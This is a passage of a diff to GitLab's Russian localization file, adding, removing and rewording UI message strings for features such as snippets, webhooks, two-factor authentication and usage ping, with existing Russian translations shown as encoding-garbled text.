msgid "Showing last %{size} of log -"
msgstr ""
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr ""
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr "Одиночные или комбинированные запроÑÑ‹"
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "Ðет Ñниппетов Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ."
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "Что-то пошло не так при переключении кнопки"
@@ -22890,10 +23543,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23838,6 +24494,9 @@ msgstr "СпиÑок тегов:"
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr "Метка Ñтого коммита."
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr "Теги"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "Лента меток"
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr "ТеÑÑ‚"
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Обработка Ð¿Ð¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ñ‚ÐµÑтами"
@@ -24105,9 +24773,6 @@ msgstr "Ðет теÑтов Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ."
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr "При извлечении отчетов о теÑтировании произошла ошибка."
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] "%{type} Ñодержит Ñледующую ошибку:"
@@ -24154,8 +24816,8 @@ msgstr[1] "%{type} Ñодержат Ñледующие ошибки:"
msgstr[2] "%{type} Ñодержат Ñледующие ошибки:"
msgstr[3] "%{type} Ñодержат Ñледующие ошибки:"
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "РаÑширенный глобальный поиÑк в GitLab - Ñто Ñерьезный инÑтрумент который ÑохранÑет ваше времÑ. ВмеÑто ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð´ÑƒÐ±Ð»Ð¸Ñ€ÑƒÑŽÑ‰ÐµÐ³Ð¾ кода и траты времени, вы можете иÑкать код внутри других команд, который поможет вам в вашем проекте."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "URL, иÑпользуемый Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ðº Elasticsearch. ИÑпользуйте ÑпиÑок разделÑемых запÑтыми адреÑов Ð´Ð»Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸ клаÑтеризации (напр., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Сертификат X509, иÑпользуемый в том Ñлучае, когда Ð´Ð»Ñ ÑвÑзи Ñ Ð²Ð½ÐµÑˆÐ½ÐµÐ¹ Ñлужбой авторизации требуетÑÑ Ð²Ð·Ð°Ð¸Ð¼Ð½Ð°Ñ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ° подлинноÑти TLS. ЕÑли оÑтавить пуÑтым, Ñертификат Ñервера вÑе еще будет проверÑÑ‚ÑŒÑÑ Ð¿Ñ€Ð¸ доÑтупе через HTTPS."
@@ -24211,6 +24876,9 @@ msgstr "ÐšÐ¾Ð»Ð»ÐµÐºÑ†Ð¸Ñ Ñобытий добавленных в данные
msgid "The commit does not exist"
msgstr "Этот коммит не ÑущеÑтвует"
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Соединение будет отключено через %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸ÐµÐ², требующих больше времени, иÑпользуйте комбинацию clone/push."
@@ -24265,6 +24933,12 @@ msgstr "Файл был уÑпешно удален."
msgid "The file name should have a .yml extension"
msgstr "Файл должен иметь раÑширение .yml"
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr "Следующие Ñлементы ÐЕ будут ÑкÑпортированы:"
@@ -24368,14 +25042,14 @@ msgstr "Ð˜Ð¼Ñ \"%{name}\" уже занÑто в Ñтом каталоге."
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr "КоличеÑтво изменений, которые необходимо извлечь из GitLab при клонировании репозиториÑ. Это может уÑкорить выполнение конвейеров. ОÑтавьте пуÑтым или уÑтановите значение на 0, чтобы отключить поверхноÑтное клонирование по умолчанию, и заÑтавить GitLab CI клонировать вÑе ветки и теги каждый раз."
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "Сколько раз Ð·Ð°Ð³Ñ€ÑƒÐ¶Ð°ÐµÐ¼Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ не могла найти Ñвой файл"
-msgid "The one place for your designs"
-msgstr "Единое меÑто Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… дизайнов"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
+msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
msgstr "Пароль, необходимый Ð´Ð»Ñ Ñ€Ð°Ñшифровки закрытого ключа. Он не ÑвлÑетÑÑ Ð½ÐµÐ¾Ð±Ñзательным, а значение будет зашифровано в ÑоÑтоÑнии покоÑ."
@@ -24413,6 +25087,9 @@ msgstr "ДоÑтуп к проекту может получить любой, Ð
msgid "The project can be accessed without any authentication."
msgstr "ДоÑтуп к проекту возможен без какой-либо проверки подлинноÑти."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr "Проект доÑтупен только учаÑтникам проекта. ДоÑтуп должен быть предоÑтавлен Ñвно каждому пользователю."
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr "Ðа диÑке уже еÑÑ‚ÑŒ репозиторий Ñ Ñ‚Ð°ÐºÐ¸Ð¼ именем"
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr "Ðет доÑтупных данных. ПожалуйÑта, измените ваш выбор."
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr "При подпиÑке на Ñту метку произошла оши
msgid "There was an error when unsubscribing from this label."
msgstr "Произошла ошибка при отпиÑке от Ñтой метки."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr "Это дейÑтвие может привеÑти к потере данных. Чтобы предотвратить Ñлучайные дейÑтвиÑ, мы проÑим Ð’Ð°Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¸Ñ‚ÑŒ Ваше намерение."
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr "Это ваша Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ ÑеÑÑиÑ"
-msgid "This issue is confidential"
-msgstr "Это обÑуждение ÑвлÑетÑÑ ÐºÐ¾Ð½Ñ„Ð¸Ð´ÐµÐ½Ñ†Ð¸Ð°Ð»ÑŒÐ½Ñ‹Ð¼"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr "Этот пользователь будет автором вÑех ÑÐ
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr "Чтобы подключить репозиторий SVN, провер
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr "Задача отмечена как выполненнаÑ."
msgid "Today"
msgstr "СегоднÑ"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr "Переключить предварительный проÑмотр Markdown"
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Завтра"
@@ -25942,6 +26634,9 @@ msgstr "СобытиÑ"
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,12 +26733,24 @@ msgstr "Ð”Ð²ÑƒÑ…Ñ„Ð°ÐºÑ‚Ð¾Ñ€Ð½Ð°Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ"
msgid "Two-factor Authentication Recovery codes"
msgstr "Коды воÑÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð²ÑƒÑ…Ñ„Ð°ÐºÑ‚Ð¾Ñ€Ð½Ð¾Ð¹ аутентификации"
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr "Ð”Ð²ÑƒÑ…Ñ„Ð°ÐºÑ‚Ð¾Ñ€Ð½Ð°Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð±Ñ‹Ð»Ð° отключена Ð´Ð»Ñ Ñтого пользователÑ"
-
msgid "Two-factor authentication"
msgstr "Ð”Ð²ÑƒÑ…Ñ„Ð°ÐºÑ‚Ð¾Ñ€Ð½Ð°Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr ""
@@ -26215,7 +26931,7 @@ msgstr "Разблокировать"
msgid "Unlock the discussion"
msgstr "Разблокировать обÑуждение"
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "Ðеподтверждено"
@@ -26386,9 +27105,6 @@ msgstr "Обновлено"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Обновлено %{updated_at} %{updated_by}"
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,8 +27120,8 @@ msgstr "ОбновитеÑÑŒ на более выÑокий тарифный пÐ
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Обновите Вашу подпиÑку, чтобы активировать раÑширенный глобальный поиÑк."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr ""
@@ -26479,7 +27195,7 @@ msgstr "ГолоÑа \"за\""
msgid "Usage"
msgstr "Ð¡ÐµÐ¹Ñ‡Ð°Ñ Ð¸ÑпользуетÑÑ"
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr "ИÑпользуйте %{code_start}::%{code_end}, чтобы Ñоздать %{link_start}набор Ñелективных меток%{link_end} (например, %{code_start}priority::1%{code_end})"
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr "Пользователь %{current_user_username} начал выдавÐ
msgid "User %{username} was successfully removed."
msgstr "Пользователь %{username} был уÑпешно удален."
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr "Пользователи были уÑпешно добавлены."
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr "Проверить наÑтройки"
msgid "Version"
msgstr "ВерÑиÑ"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr "Веб-обработчики позволÑÑŽÑ‚ вам вызывать
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr "Веб-обработчики были перемещены. Теперь их можно найти под меню наÑтроек."
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "Среда"
@@ -27462,21 +28274,21 @@ msgstr "Добро пожаловать! Ваша ÑƒÑ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ б
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,11 +28620,11 @@ msgstr "Ð’Ñ‹ пытаетеÑÑŒ обновить файл, который изм
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr "Ð’Ñ‹ подключены к Ñерверу Prometheus, но в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½ÐµÑ‚ данных Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ."
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ удалить %{group_name}, при Ñтом также удалитÑÑ Ð²Ñе подгруппы и проекты. Удаленные группы ÐЕ МОГУТ быть воÑÑтановлены! Ð’Ñ‹ ÐБСОЛЮТÐО уверены?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Ð’Ñ‹ хотите удалить %{project_full_name}. Удаленный проект ÐЕ МОЖЕТ быть воÑÑтановлен! Ð’Ñ‹ ÐБСОЛЮТÐО уверены?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ передать проект %{project_full_name} другому владельцу. Ð’Ñ‹ ÐБСОЛЮТÐО уверены?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr "Ð’Ñ‹ не можете отменить ÑвÑзь Ñ Ð²Ð°ÑˆÐµÐ¹ оÑнÐ
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr "Вы также можете проверить ваш %{gitlab_ci_yml}
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Ð’Ñ‹ также можете загрузить ÑущеÑтвующие файлы Ñ ÐºÐ¾Ð¼Ð¿ÑŒÑŽÑ‚ÐµÑ€Ð°, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ñ€Ð¸Ð²ÐµÐ´Ñ‘Ð½Ð½Ñ‹Ðµ ниже инÑтрукции."
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr "Ð’Ñ‹ можете начать Ñ ÐºÐ»Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ Ð¸Ð»Ð¸ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² в него одним из Ñледующих ÑпоÑобов."
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "Ð’Ñ‹ можете приглаÑить нового учаÑтника в <strong>%{project_name}</strong> или приглаÑить другую группу."
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "Ð’Ñ‹ можете приглаÑить нового учаÑтника в <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr "Ð’Ñ‹ не можете запиÑывать на Ñтот Ñкземпл
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr "Ð’Ñ‹ не Ñможете получать и отправлÑÑ‚ÑŒ код
